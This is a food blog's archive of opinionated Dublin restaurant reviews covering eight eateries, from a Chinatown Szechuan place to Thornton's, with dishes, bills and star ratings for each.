Tag Archives: restaurants

Restaurant Review: M & L

The burgeoning Chinatown in the hinterland of O’Connell Street has thrown up a good many restaurants, some worthy of a visit, some less so. These places are a world away from the Chinese restaurants we grew up with, a happy land of paper globes, toffee sauces and waitresses clad in whatever the Chinese equivalent of ‘kimono’ is called. The new eating houses exist principally to fuel the Chinese community. The dining rooms are frill-free. There is little English spoken. Many of them seem uncomfortable with the very concept of feeding occidentals, though some have adapted by providing pictorial menus, akin to those in Spanish or Greek seaside resorts. Whenever I go to one of these places there’s always a party of Chinese at the next table. The Chinese love to eat – a Chinese equivalent of “how are you?” is “have you eaten yet?” – and they’re deadly serious about it. The food they are eating looks different to the fodder in front of you. Chopsticks clicking away, they swoop at a bejeweled plateful of something-or-other or dive into an enormous bowl of broth to pluck out a morsel. “My God,” you think. “I’d love to try some of that.” Trouble is, how to acquire it. Well, I’ve tried the Harry-met-Sally gambit and it doesn’t work. To compound the difficulty the waiters frequently go to great lengths to inform you that what you are trying to order either doesn’t exist or, for some reason, is unavailable. I think they want to protect you from yourself. Dining in London’s Lisle Street I tried in vain to procure the honey-roasted sausages I’d heard so much about. “You won’t like them” said the waiter. I riposted “Let me be the judge of that”. He gave me the politest blank look I’ve ever encountered. Somehow my words must have got through, though, for after a brief trip to the kitchen he returned, saying “Chef made some this morning. They not good. He not serve.” The chef came out of the kitchen to support this claim. I gave up. There’s no arguing with a man who wields a big cleaver. The other day a friend told me of this restaurant where they sold ‘egg yolked soft shell crabs’. “I don’t think they really want you to have them though”. That did it. The very next night found Foodmad (who better?) and me trekking past the Bertie pole in the autumnal gloom. M & L, next door to the Pro-Cathedral, is a plain but scrupulously clean and tidy place, right down to the ‘offices’. We were glad we’d booked for, at 7.45, the dining room was packed with Chinese – couples, business quartets and families. The pleasant young waiter brought the menu and a big pot of jasmine-scented tea. “About these crabs…” I said. Initially, he denied its existence. Then he relented, willing-if-not-quite-happy to provide crab with ginger and scallions. Though I consider it one of the world’s great dishes it wasn’t what I wanted. We were after the soft shell variety, the mange tout of crustaceans. The words “egg yolk” seemed to do the trick. Afterwards he was on our side. With the exception of a plateful of Cantonese roast duck of which I am excessively fond we left the rest of the meal to him. He brought us chilli squid, melt-in-the mouth, clad in a whisper-light batter; a spicy beef dish in a broth; chicken for heroes, bite sized pieces, surrounded by peanuts and an arsenal of chillies. We drank Chinese beer, an effective fire extinguisher, along with the tea. It was a monumental meal and the crabs were the crowning glory. Not stewed till squishy as I’d had them before in Hong Kong but coated in an egg-yolk and spice dip and deep fried. You could devour the lot, carapace, legs and all, crunching them like crisps, but there was such a mountain of them we didn’t bother once the novelty of doing so had worn off. The crab meat within was terrific, full of flavour, worth going through the whole rigmarole to acquire. Only disappointment was the duck. The Chinese themselves eat this plain dish “as it comes”, hot, lukewarm or cold. Good hosts, they assume that Europeans like their food hot and their duck crispy and off the bone, so they fillet and re-fry, which robs the flesh of its succulence. It was my fault. Though I did manage to get them to leave the bone in, my appetite for confrontation wilted at this point. I should have persevered. Relaxed, once he had seen we were happy with his choice, our new friend confided “Next time ask for ‘original Chinese menu’”. We certainly will. We’d consumed a mountain of food, having ordered through enthusiasm and natural greed what was probably enough for five people. He produced some plastic boxes and Foodmad happily carted the leftovers home. M & L – never did find out the origin of the name – is undoubtedly the best of the new breed of Chinese restaurants. It probably won’t be well-received by Dame Street devotees although I’m sure sweet-and-sour something lurks somewhere on the menu. But any foodie with a taste for ethnic authenticity and an ability to climb out of the comfort zone should beat a path to the door.

Verdict: Clean, friendly, affordable, authentic, grab the crabs

Rating ***1/2

For all the above we spent just over €70 and it would have fed 6!

M & L Szechuan Chinese Restaurant, 13 Cathedral St, Dublin Tel: 01 874 8038

Restaurant Review: Thornton's

In thirty years of writing on the topics of food and drink I must have undertaken, literally, hundreds of interviews. Most were enjoyable. Many hilarious, notably Clarissa Dickson-Wright of ‘Fat Lady’ fame. Some were nightmare-inducing; I’d rather have all my teeth extracted, sans anaesthetic, by a blind butcher from Transylvania rather than re-interview the widow of a certain French wine baron. A few were downright difficult; I came away from my first joust with Kevin Thornton utterly exhausted. I remember gazing at my scant half page of notes, all I’d got from two hours’ prodding and prying, thinking “How the feck do I get 900 words out of this?”

It’s not, I decided, after a second shot a couple of years later, that the guy is taciturn or even just plain shy. It’s just that small talk, chit-chat, in fact any off-message topics simply don’t interest him; which is why what Lyndon Johnson used to refer to as “horse piss questions” were shrugged off. Fair enough, but it’s often trivia like “What’s your favourite breakfast?” that gives light and shade, personality and perspective, to an interview.

While we love “characters” the Irish aren’t too fond of enigmas. Even some of his peers find Kevin “high maintenance”, regarding him as something out there beyond the known world – ‘Planet Thornton’, mysterious, unfathomable.

Among the public there’s a notion that Thornton’s the restaurant is somehow not for the likes of you and me, even if we can afford the ask. Many feel more comfortable in less Brahman Michelin-starred establishments like L’Ecrivain or Chapter One. Furthermore, Kevin’s perceived penchant for creating food that stimulates the senses but but doesn’t necessarily fill the belly has spawned the urban myth that people who dine there stop for bags of chips on the way home. I’ve been around long enough to know that this was said about Patrick Guilbaud’s in the past and, before that, about White’s on The Green, Dublin’s first restaurant to embrace the concept of cuisine minceur back in the Eighties.

Everyone remembers ‘Chipgate’, described in a contemporary account as “a scene reminiscent of a frustrated parent lashing out at a petulant child for refusing to eat dinner.” Sad but maybe inevitable that Kevin Thornton may well end up hallowed in Irish folklore as the virago who stormed out of his kitchen shouting “Eat them, dickhead” rather than as the finest chef of his generation, which he undoubtedly is.

Sibella and I dined in Thornton’s last week. As we ascended the stairs our appetites were whetted by the maestro’s creative food photography on the walls. We just about made the pre-theatre offer, three courses for £49. I’m not going to dwell on dissecting the dishes we consumed. For the record, I took the forest mushroom terrine with verjus dressing; Sibs had the carpaccio of Bere Island king scallop with marinated autumn vegetables, slowly roasted beetroot, crisp summer leaves and a citrus and aged sherry dressing. We followed this with braised guinea fowl with its own clarified juices and fillet of turbot with parmesan crust and confit of lemon. Everything was picture-perfect on the plate in the modern idiom; the flavours fresh, clear and distinct, the accompaniments wonderfully appropriate, cuisine sublime.

Herself took the warm apple tartlet with californian raisin ice cream while I had the selection of Irish and French farmhouse cheeses, in peak of condition. We kept the cost down by not going overboard on wine from the ‘sky’s the limit’ list, sharing a bottle of Ken and Barbara Lawson’s delectable New Zealand Riesling, respectable value at €38. My espresso cost €7. I was going to make a big deal out of this until I remembered it came with a plateful of exquisite petit fours enough for four people, in effect an extra dessert. An honourable mention too, for the bread selection, as good and varied as any around town.

To deter more urban myth-making I’ll reveal that diners on that night were also treated to three extra courses, two of which came accompanied by pomp, circumstance and smoke, as if Kevin were saying “You want Adria, you want Blumenthal. I can do that.” I’ve dined at El Bulli and can verify that, here, there was the same kid-at-a-firework party excitement; also equivalent intense purity of flavour once the pyrotechnics subsided.

The room seems to have got progressively less sombre over the years without my quite being able to say why and the present front-of-house staff, led by an accomplished young maitre d’ and an enthusiastic sommelier have seriously upgraded the ‘cuddle rating’ since my last visit. Sibella, less flaithiúl than me when it comes to handing over dosh to restaurateurs, thought the value for money “Outstanding”. Me, I reckon that everyone in Ireland should endeavour to eat Kevin Thornton’s brilliant, brilliant cooking at least once in their lives.

Verdict: €143 for a glimpse of how olympian cooking combines elements of both high art and high wire? It’s a no-brainer.

Rating: ****1/2

Thornton’s Restaurant, 128 St.Stephen’s Green, Dublin 2 Tel: 01 478 7008

El Bahia

The poet Milton wrote “They also serve who only stand and wait”. Well, John boy, can you hear me up there on your Commonwealth cloud? I’ve got news for you and the news is “they don’t”, at least not in wildest Wicklow Street. At El Bahia last Saturday night there was plenty of standing, mostly of the ‘around’ variety, by restaurant staff. There was a fair bit of waiting – for starters, 55 minutes for a starter. But there was precious little serving done during the three hours ten it took Daughter Two and myself to secure and ingest two courses and coffee.

Every restaurant has a night when things turn tits-up. The gas conks out, two sous chefs go awol, a commis flambées himself, a waitress at the pass suddenly hollers “Get me a midwife!” Been there, done that, mopped up with the t-shirt and so has Daughter Two until she got a vocation to stop Britain’s NHS from killing Mancunians and switched careers. As she said, she learned as far back as first year in catering college that you don’t just hang around and do sweet fa while starving diners get cannibalistic hallucinations. Here, an apology, an explanation, a plate of pita bread, a bowl of hummus, maybe a complimentary glass of house wine would have gone a long way towards turning a ‘pear-shaped’ into a positive.

El Bahia is Dublin’s oldest Moroccan Restaurant. The newest, Dada, is a few hundred yards away, in South William Street. We stuck our heads in there earlier, only to be greeted by the ghoulish wailing and high decibel clanging together of metal objects that is Moroccan muzak. Not exactly the ideal ambience for father-daughter bonding, we decided and retreated. El Bahia was our second choice. Ten minutes after we arrived the place was heaving. This may have had something to do with the chaos in the kitchen or other factors might have been at play. I didn’t have my crystal ball with me.

We ordered starters, D2 the spiced prawns, me the sardines. “Sardines A or Sardines B?” queried the waitress, “One is grilled, the other, fried.” “Which do you recommend?” I ventured. “Well, my name is Bea, so have B”. Almost an hour later, sardines B arrived, two of them, so cooked to mush I felt like asking for a straw. How I wished her name were Alice. Daughter Two’s brace of butterflied prawns were flavourless and rubbery, again a sure sign of overcooking. The limp and straggly salad accompaniment looked as though it had died of boredom from hanging around on the plate waiting for the prawns to become cartilaginous. We drank a Moroccan shiraz recommended by the waitress; it has a big ‘S’ on the label in case you are perversely determined to dine here, despite this review. This wine, sere and seriously alcoholic, will fuel your masochistic tendencies a treat.

Then followed another thirty-odd minutes’ delay which we spent drumming our forks to the tin can accompaniment, albeit quieter than Dada’s. I do wish restaurateurs could grow out of this pathetic habit of equating muzak with ‘atmosphere’. The most sympathetic atmosphere is the buzz of conversation emanating from happy diners. It turned out we had both ordered tagines, though the word didn’t appear next to either item on the menu. Tagines are slow-cooked stews braised at low temperature, resulting in fork-tender meat with aromatic vegetables and sauce, cooked in the pot of the same name. Most involve slow simmering of less-expensive cuts of meat, combined with a medley of ingredients – olives, quinces, pears, apricots, raisins, prunes, figs dates and nuts are common, as are fresh or preserved lemons – seasoning and spices. I took the Lissan – cow’s tongue, while D2 did Elham Barcoq, lamb with prune and sweet cinnamon. A youth arrived at table with both and, after asking “Are you ready?” lifted the lids of each simultaneously, mimicking silver service. Though mains were better by far than the starters, we were only half happy. In mine, the spices were discordantly unharmonious. D2’s lamb dish was, in her own words “very ordinary indeed”. We both sensed a lack of ‘wow!’ factor. Shouldn’t Moroccan cooking have a waft of the exotic and mysterious? El Bahia’s tagines seemed mundane, play-safe; dare I say it, ‘Delia-ised’.

We passed on dessert, not wishing to be there till the small hours. By now the waitress had sensed that all was not well at this family reunion. She pressed a Moroccan coffee on us. I assented, imagining it to be a North African version of Greek coffee or Türk kahvesi made fresh, sticky and flavoursome in the traditional ibrik but no, this was either stale pour-over or washed-out espresso to which, I’d venture, a spoonful of raw spices and a slug of some equally raw hooch had been added, tripling the ‘Yech’ factor. Rapid arrival apart, this ‘coffee’ stood as a metaphor for the whole wasted evening.

The damage:  €79.50 for 2 x starters, 2 x mains, 1 coffee, 1 bottle wine

Verdict: They stand; we wait; eventually, they serve.

Moral: If things go pear-shaped, cuddle the customer.

Rating: *1/2

El Bahia, 37, Wicklow Street, Dublin 2, Tel: 01 677 0213

Bloom Brasserie

Maybe the (richly deserved) success of Chapter One and Pearl Brasserie at this year’s Food & Wine Restaurant of the Year Awards will finally give the kick-arse to the absurd notion, common among Dubliners of a certain age and standing, that it’s uncool to eat in basements. I do hope so. There are some chefs, like Michel Bras or Juan Mari Arzak to name but two, for whose cooking I’d descend half way to Australia.

We didn’t need to go quite that far last Friday. The fair Bunting and I arranged to meet, at my suggestion, in The Waterloo which, years ago, when I was working around the corner on Herbert Place I found a convivial watering hole, a decent, old school traddy pub. Now, to my chagrin, I found the placed changed and changed bloody utterly. It’s now ‘a cafe bar’ for godssakes, with all the glib pretensions the term implies. We fled without stopping for a drink.

Bloom Brasserie, our dining destination, is located in a basement just across the road. The premises used to house one of the branches of Ouzo which now seems to be doing the biz in Dalkey. Was it a wine bar before that? Anyhow, no matter, the room has been really nicely tricked up, with muted colours and atmospheric lighting. There’s a small bar at the foot of the stairs and it’s here that we were greeted. Never ones to hang about when there’s food in the offing, Bunting and I elected to go straight away to table.

She’s been out on reviews with me before and knows the score – we choose different things, I get first pick, reserve the right to try some of whatever she’s eating and we do our damndest to consume 3 courses apiece. I’ll admit that sometimes we burst in the attempt and end up sharing a dessert. It’s my credo that Herald readers are entitled to a comprehensive review and I have no time for the picky salad-and-a-skinny latte dining companions that certain other reviewers seem to have as bosom buddies. Of my gustatory chums, Bunting is A-list. No sooner had we sat down than she was requisitioning the carpaccio of beef. I nobbled the foie gras. The carpaccio looked glorious on the white plate, a ring of beautifully-seasoned discs of Angus beef, crowned with a vibrant, crisp green salad. The only false note was struck by the heavily-truffle laced dressing; the beef was perfectly capable of speaking for itself and would have been better served by a simple anointment of good extra virgin. The foie gras, on its tranche of toast made from good bread, was pristine.

I clapped when I saw wing of ray on the menu. I can never understand why this excellent fish is not more popular; it’s delicate, succulent and easy to eat, once you get the hang of scraping the flesh off the cartilage, turning the fish over and repeating the operation. I would never pass ray up in favour of the omnipresent farmed sea bass, that’s for sure. The accompaniment, a fluffy scallion mash was perfect, although I did steal a few of Bunting’s potatoes which were fried in duck fat for an extra yum factor. The lady’s magret of duck was an absolute picture and tasted as good as it looked. I have to say, minor quibble, that my ray was slightly over-seasoned which always tells me that either the chef is young (‘season, taste and season again’ was the mantra at chef school a few years ago) or smoked sixty fags a day. I hoped it was the former and so it proved.

Our divergence when it came to mains led to some difficulty when it came to choosing a bottle of wine. After a conversation with the caring maitresse d’, an American girl who gave us samples from two bottles already opened for ‘by the glass’ diners, we picked a red that would stand up to the duck yet not overwhelm my ray. Despite what the message on my mobile says I have no problems drinking red wine with fish providing it’s not too bold or too dour. The Domaine Cros Minervois we chose from the fair-sized winelist, which contained a number of interesting off-piste offerings, was a compromise, but a pretty satisfactory one.

Next, we shared a cheese plate. The proximity of Bloom to cheese wholesaler Matthews, had provided an assortment of French cheeses, all in peak of condition, from which we chose a Morbier (me), an Epoisse (her) and (jointly) a soft goat cheese. Noting our keen interest they brought us two goat cheeses, one demure, the other full-frontal. These we followed with dessert, a chocolate fondant served with fresh raspberries, a raspberry coulis and an appropriately delicate milk sorbet. The fondant was outstanding. I hope other diners were not put off by our roars of applause. Picture-perfect espresso rounded things off nicely.

All-in-all a super evening and, at €123. 60 for all we had, fine value for money. Special plaudits to the caring staff and to chef Pól O’hEannraich,(ex-Dax) who took on board our trivial criticisms with aplomb.

The damage:  €123.60 for all the above

Rating ****

Verdict: Bloom could well prove to be the pick of Dublin’s ‘bistrocracy’ when the smoke of modish fashion clears.

Pichet

The juxtaposition of Hell’s Kitchen’s battered-but-still philosophical maitre d’ Nick Munier and ex-L’Ecrivain head chef Stephen Gibson was bound to produce something interesting and Pichet is exactly that. I’m not décor obsessed but I did like the cool grey walls and stylish, comfy royal blue seats – just sitting there felt like being aboard a rather smart train, waiting to be whisked somewhere more exotic than Dublin on another dull day.

The building has enjoyed several manifestations during the time I’ve been rattling around – a cheese shop, an Italian enoteca-style restaurant, a Cafe Leon and a weird place selling American candy bars spring to mind. Now there’s a cafe bar at the Trinity Street end, which is now where the entrance is located, with the restaurant behind it, flanked on the Andrews Lane side by a protected, heatable terrace which should delight smokers and fresh air freaks. It was here I chose to park myself while waiting for The Knocklyon Princess.

Amazingly Her Royal Highness swept in on the dot of 1.30. I met her immediate request for red wine by ordering a bottle of Torres Iberico, a reliable, if unspectacular Rioja.

Having carelessly left my false dreadlocks, monocle and chequered waistcoat behind, I was recognised by the management. Nick came over for a chat. I opined that he seemed to have made a bright start and he responded “Yes, thanks to some favourable reviews.” He cited Tom, Ross, Aingela and someone called Katie. “Well you won’t bloody need my approval then” I mock-snarled – since watching Sandra Bernhardt in ‘Dinner Rush’ for the fifth time I’ve aggroed-up my persona, I’m now practising ‘criticism with attitude’. Nick promptly retreated, leaving the menu and wine list.

For the moment at any rate, it’s all a la carte. Still, two people should be able to eat and drink for €100 unless they are me and The KP. Herself, who I’d figured as something of a chicksteaker surprised me by choosing the suckling pig belly pork for her main, leaving me the rump of lamb. I craved the Castletownbere crab as a starter. At the same time I hankered to try the crispy fried egg, fast gaining a reputation around town as a smart bit of trompe l’oeul cuisine. Luckily, the Princess spotted it too so I was able to scam some.

The crab had that ‘foreplay with a mermaid’ aroma that both means ‘fresh’ and heightens the anticipation – I’m always suspicious when crab, purportedly ‘fresh’, arrives smelling (and subsequently, tasting) of zilch or is doused in eye-watering vinagrette. The accompanying pot of mussel meat and chorizo, a good dip for the excellent bread they provided, was a sound detail. The crispy egg was, put simply, a tour de force. If I was to try to de-construct the dish I’d say it was par-poached, wrapped in Serrano ham, coated in breadcrumbs then flash-deep fried and served with the yolk still runny. Still, I could be wrong.

The belly of pork was a ‘how to do it’ demo. Certain other restaurants, like the one I reviewed a couple of weeks ago should pop along and see for themselves. My Connemara hill lamb came exactly as I’d ordered, “pinked, on the rare side of medium, rare”. A great piece of meat, tender, with burgeoning flavour. The chips were no great shakes though.

By this time we were into the second bottle of red. The aussie Shiraz Vignier I’d asked for was out of stock so we reverted to one of Nick’s original suggestions, a Côtes du Ventoux 2007, wine from a region where committed small-scale producers make interesting gear. It was hefty, rustic stuff. Nick did warn us that it threw a crust. He should also have warned his waiter not to dump three inches of sludge in my final glass, I was picking the grouts out of my teeth all that night.

To say that we shared a dessert was not quite true. The Knocklyon Princess doesn’t have a sweet tooth. I was therefore condemned to eat a whole portion of white chocolate cheesecake, topped with passion fruit jelly, and dotted with raspberries, a very lenient sentence. Afterwards I was almost shocked by the correctness of the espresso, so unusual.

Bright start” is right. This modern bistro cookery is springing up everywhere. Whether as a response to recession or simply a rejection of the fiddly-farty stuff practised by formal restaurants in the last ten years I’m not sure. Anyhow, the food at Pichet is at the very cutting edge of this trend. The staff are obliging if a trifle come-day, go-day. Nick’s own predilection for ‘hands on’ will keep them on their toes, good job, for a few details (like the pacing of the meal) need tidying. I was pleased to spot Caitriona, who served us so well at The Pig’s Ear a few months ago. Apparently, she’s Nick’s sister-in-law; nothing like keeping these ventures in the family, as the French know full well.

133.25 for 2 starters, 2 mains, dessert, 2 x bottle and a glass of wine

Verdict: Smart cooking, fab décor, willing service, good addition to the Dublin dining scene.

Rating: ****

Pichet 14-15 Trinity Street, Dublin 2 Tel: 01 677 1060

Seagrass

RESTAURANT REVIEW

I’ve said it before and I’ll say it again. We don’t do service, do we? I can never figure out why. Surely we don’t consider it ‘beneath us’? Or do we? Maybe it’s the hangover of Ireland’s colonial past; we equate ‘service’ with ‘subservience’; is waiting tables or pouring pints a latter-day equivalent of “Croppies lie down” under the heel of The Great British Vampire?

Last week I was in the bar at Dublin airport with another food writer, snaffling a quick pint before check-in. Or trying to. There were two guys behind the counter, both, by their accents, born-and-bred Dubs. One was walking round, eyes anywhere but towards the punters, pausing now and again to adjust, with studied precision, the position of a bottle on a shelf. The other polished glasses like fury, breathing heavy sighs, as though condemned to labour kin the manner of Sisyphus. Their demeanour shouted “anything to avoid serving the public.”

This sort of carry-on is all the more culpable because, given the location, this bar is probably the last place in Ireland the foreign tourist visits before returning home. What sort of impression does it leave, for God’s sake.

In total contrast the Hungarian lass waiting tables at Seagrass on Richmond Street in Portobello couldn’t have been nicer. She took our coats, made us feel at home and interpreted the menu with consummate ease and civility. Anxious for our welfare and that of my wallet she made sure we were entirely aware that we had ordered the 750ml bottle of Prosecco and not the 200ml baby version. We assured her we wanted the full bifter. I do like Prosecco; though a fair bit of it is muck, the good ones are worth the often modest asking price as well as being food friendly. Besides, the bubbles, big and vulgar, cheer you up on rainy nights like this.

Thirst slaked, I wellied into a really fine fish soup. So often these, particularly if graced with the name ‘chowder’ contain an amorphous mass of overcooked white fish, overlaid with the texture of cornflour and flooded with cream. Here I tallied prawns, shrimps, mussels, salmon, squid and offcuts of white fish I diagnosed as sea bass, altogether good gear. The Litry Chick, looking chic in a flouncy black number, attacked a big bowlful of mushrooms in melted gorgonzola, another winner.

We were doing the 3 courses for €25 early bird, although there was a €2 supplement for my duo of Cork striploin and meatloaf. The latter was rolled up in rashers of bacon and with almost a whole layer of sage separating the two. I like a chef who is not afraid of bold flavours. The striploin was a brilliant piece of meat, tender, tasty and properly cooked rare as I had asked. Herself took the sea bass, coated in an ethereally light batter. As accompaniment we split a bowl of chips, which a friend had (rightfully) recommended and a dish of crunchy mangetout, slathered in butter and flecked with herbs. We had by now moved on from the prosecco and were drinking a bold yet velvety Salice Salentino, a good value Italian red. The wine list is short; only 4 reds and 4 whites, with one or two duffers whittling choice down further. It is, however, modestly priced with the prosecco the most expensive item at €31.50.

Desserts pleased. I had a trio of splendid ice creams, including a fine mango sorbet, all made on the premises. TLC went for tlc – apple crumble with a good big whiff of Christmassy cinnamon, surely the ultimate comfort food.

We enjoyed our meal, the service, the brief chat with the chef patron afterwards, not to mention the complimentary glass of sambuca. I can’t speak too highly of Seagrass; fine cooking, big bold flavours, creative touches too. We did maybe go OTT with the two bottles. Moderation, which I don’t really do, would have whittled the bill down to about an economical €85. The room is lovely too, tasteful and stylish in a restrained manner. If memory serves, the premises once housed a Turkish restaurant with wildly uneven cooking and whacky décor and before that, an Indian. The present incarnation is more simpatico than anything that went before. Sea Shell deserves to succeed more than anything for its timeless honesty, a valuable antidote to the trendy, ephemeral, flitter-glitter kind of eating gaff that so captivates Dublin diners only until they decamp to patronize, briefly, the next new thing.

Lastly, an Honourable Mention for the adjacent pub, is it O’Connell’s? Anyhow the red one, where they pull a superlative pint of the black stuff at a recession-nailing €4, great place to end the evening. Well, I did say I wasn’t a moderate man…

The Damage: €119.10 ex-service for 2 x 3 courses, 2 bottles wine, 2 coffees

Verdict: Smart cooking, decent ingredients and a warm welcome. Deserves to succeed.

Rating: ***1/2

Seagrass, 30 South Richmond Street, Portobello, Dublin 8. Tel: 01 478 9595

La Maison

The town I grew up in was described in a Victorian gazetteer as “ill-built, but of good entertainment”. Eighty years later the entertainment had migrated up the A6 to Manchester, otherwise no change. The town council was known for its slothful attitude and reluctance to spend money to make the town a civilized place to live. Take the annual water shortage. The tiny reservoir in the hills was insufficient for the town’s needs, so every summer brought the local equivalent of the glimmer man round to make sure no one was watering their garden, plus a rash of pamphlets through the door advising citizens to ‘Put a Brick in Your Cistern’ or ‘Take a Bath with a Friend’. Eventually the corpo, goaded into action by the threat of non-payment of rates, resolved to build a second reservoir. This they did, only to find, when it was completed, that the water level in the original was dropping alarmingly. An engineering miscalculation meant that water from the first reservoir was percolating into the new one.

This sad scenario parallels what often happens when a restaurateur opens a second outlet. All too frequently an immense effort goes into kick-starting the new enterprise, while the original suffers. In a ‘worst case’ situation standards slide at both outlets as the proprietor shuttles between the two in an effort to steady the ship. So I was a tad alarmed when I heard that Oliver Quenet whose culinary flair so impressed me when I reviewed Vaughan’s of Terenure a year ago had taken over La Maison des Gourmets in Castle Market and had, at the same time, retained his former charge. A quick check with friends who eat there regularly assured me that things were as they were, so I phoned La Maison, as it’s now called, to book a table. They didn’t take bookings but sounded reassuring on the phone, along the lines of “If there are only two of you, give us half an hour’s notice and you’ll be all right”, an unstated “we’ll squeeze you in” vibe came down the line.

I met The Lit’ry Chick in Grogan’s from where I phoned the restaurant to say “We’re next door”. The response was “Fine, come round” which caused me to think the place was bereft of customers and gagging for our arrival. I couldn’t have been more wrong. In fact the ground floor was jammers, so we were directed upstairs to a pleasant room about two thirds full. As the restaurant’s name (and that of the chef) suggests, La Maison is quintessentially French and authentically rustic French at that. I was surprised to find andouillette on the menu. For those who haven’t had the pleasure, andouillette is a smoked sausage fashioned, usually, from pig’s intestines, a thinner and less offensive version of the foetid andouille. To borrow and paraphrase the old saying about playing the accordian, I consider a true gentleman to be a person who could eat andouille but doesn’t. The andouillette on the menu is AAAAA. A fellow critic in her review made much of the fact that this was a ‘5 A’ andioullette. Fine, as long as you realise there’s no such thing as a 4A one – this mnemonic signals the approval of the Association Amicale des Amateurs d’Andouillette Authentiques – which does mean, though, that it is indeed the pig’s bollocks of these pongy snags.

The waiter/sommelier arrived to guide us through the short but interesting list on which I recognised wines imported by Enrico Fantasia and Charles Derain, ex-sommelier of Restaurant Patrick Guilbaud, sound thinking. He put in a plea for the Bourgeuil 2004 to which I acceded, only to find it thin and characterless, a thorn among roses. Everyone else seemed to be drinking it and not many were impressed. I can only assume they have shedloads down the cellar and your man had been told to shift it.

Lit’ry Chick was quick off the mark and took the asparagus with poached egg and foie gras for starters. I had a nibble and it was everything the ingredients promised. I was very happy with my own plateau des pâtés du jour, three pâtés and some rillettes accompanied by rather good bread. Lit’ry Chick then astounded me by taking the andouillette which came with wholegrain mustard and fine pommes Lyonnaise. Bravo! I chickened out and ordered the lamb shank, tender and tasty, accompanied by superb pommes boulangere. We shared a side dish of exceptionally good ratatouille.

Desserts, as expected, pleased. I flirted with the tarte tatin before opting for the French cheese selection while Lit’ry Chick took a delicious chocolate confection. Coffee was, ah um, say no more but I’ve learned to expect little from Les Francais.

There was absolutely no sign of ‘second restaurant syndrome’. La Maison is one brilliant bistro, the kind Dublin needs more of. At last L’Gueuleton has some decent competition in this idiom. Coffee apart, the only negative I can think of is you need a large shoehorn to get yourself into the bogs.

Verdict: Nice rooms, caring staff, decent linen and glassware and glorious food at sensible prices.

The Damage: €115.50 for 2 starters, 2 mains, 2 desserts, mid-priced bottle of wine.

Rating ****

La Maison, 15 Castle Market, Dublin 2, Tel: 016727258.

Venu

 

Keogh’s in South Anne Street, early doors on a Wednesday eveningvenu1, was well nigh empty. Which isn’t to say publican Louis Fitzgerald was having conniptions. No, the customers were all outside, a great raft of them lorrying down the bevvy while savouring the sunshine. Great to see that the good old Dublin custom of drinking pints/talking shite is still in vogue. Bangles, resplendent in flamboyant summer plumage, rocked up bang on time.

 I tilted the panama to a jaunty angle and we sauntered down the street to dine at Venu Brasserie. Entering the building involved a Tardis-like experience. With the noise of the revellers fading in the distance, you stepped into an office building whose bland, impersonal interior could have held suits selling pensions, if any such still exist. Descending into the basement, you were fast-forwarded into the disco bar slickery of 1980s London. Here, we paused while we awaited a call to table, watching the resident ‘mixologist’ juggling ingredients, which he did rather well. Eventually, we found ourselves in the dining room, a veritable split personality – 1950s railway buffet-meets-60s coffee bar. All sorts of gimcrack vied for attention – the lights, coloured glass versions of the old-time driers that hairdressers lowered over madame’s newly-coiffed beehive; the small gilded nymphs, perching in bare trees; the abstract art (large nipple-free tits) on the back wall. Altogether the sort of mish-mash that gives interior design a bad name, in my opinion.

 A waiter came to take our order, making an attempt as he did so to flog us a brace of pre-prandial cocktails. “No thank you,” we said. For starters I took the Clogherhead crab salad, prettily fettled. Topped by a ring of pink grapefruit, it screamed “fresh!” It was, however, upstaged by Bangles’ asparagus salad, where the arrangement was picture perfect, a wrapping of lamb’s lettuce and a small pool of lime mayo studded with dark-roasted pistachios counterpointing the green spears and giving you that hard-to-define feelgood feeling. The asparagus was cooked to perfection. This clean, green, not overly cheffy treat claims our nomination for Best Presented Dish of 2009 if such an award exists.

 The bar had been set high. In contrast, my burger seemed a bit of a plain Jane – until you actually bit into it. Under the flat and, thankfully, crusty bun magical things were going on. I stuck the fork in and melted foie gras oozed out, double yum; the flavoursome patty and the onions in red wine were interleaved with a black truffle mayo that tasted of… surprise, surprise.. black truffles. Here was the ultimate kick-ass gourmet burger. All other burgers masquerading as ‘gourmet’ – and there are loads around town – should keep a low profile. Nice chips too, if shaded by the ones at Chez Max the week. Bangles had commandeered an oriental-style chicken breast. Dubbed ‘Bombay’, it was one of those things chefs dream up from time to time to stop themselves getting bored with the classics. This one, unlike most, worked, majoring as it did on the quality of the chicken and the accompanying coriander couscous.

 I had almost forgotten that Venu’s proprietor is Charles Guilbaud, son of the unsinkable Patrick, a man who’s already seen off two recessions, earning a Michelin star for each. In fact I glimpsed Patrick and Sally dining there that night. They can be proud of what their son-and-heir is putting on tables. Doubtless he spent his childhood watching RPG’s Guillaume Lebrun.

 The wine list, old world biased, held some interest. Neither of us was in great drinking form, though, so Climbing Hill, a relaxed, uncomplicated but sound Aussie Chardonnay, not too tinned-fruity, fitted the bill nicely. In view of the brasserie’s connections I did feel slightly traitorous, not drinking French.

Come dessert time I was fairly stuffed, having pigged out on the chips. I took an espresso and it was a good one. Bangles opted for the peach melba of childhood memory. It was a lateral version, a return to the high presentational plateau evinced by the starters. As she said “A far cry from the Slieve Donard version, circa nineteen blahdy-blah” (doesn’t want to give away her age!). The friendly waiter redoubled his efforts to sell us cocktails “A refreshing dessert cocktail, sir and madam?” And afterwards, “May I recommend a cocktail to finish with?” This kid has some go in him, fair play. His pitch, too, had a playfulness, a pleasant manner that didn’t have you saying “Piss off and take your cocktails with you.”

 All in all, we spent €96.50 and didn’t begrudge it. There is a ‘Summer Menu’ that represents incredible value for money – 3 courses for €22.50 – though as none of the mains on it were what we felt we needed on the night we were not tempted to try it. Overall, we liked Venu. So much so we’re going back for the cocktails when we’re in better drinking form.

 The damage: £96.50 ex-service for 2 starters, 2 mains, 1 dessert, coffee, bottle of wine.

 Verdict: Spot-on cooking, friendly service, good value. You may love the room, I didn’t.

 

Venu Brasserie, Anne’s Lane, Dublin 2 Tel: 01 6706755

Ordering Wine in Restaurants

le-rime-smallDoes the task of choosing wine for your fellow diners fill you with fear and dread? If so, here’s a guide that may help ease the pain. 

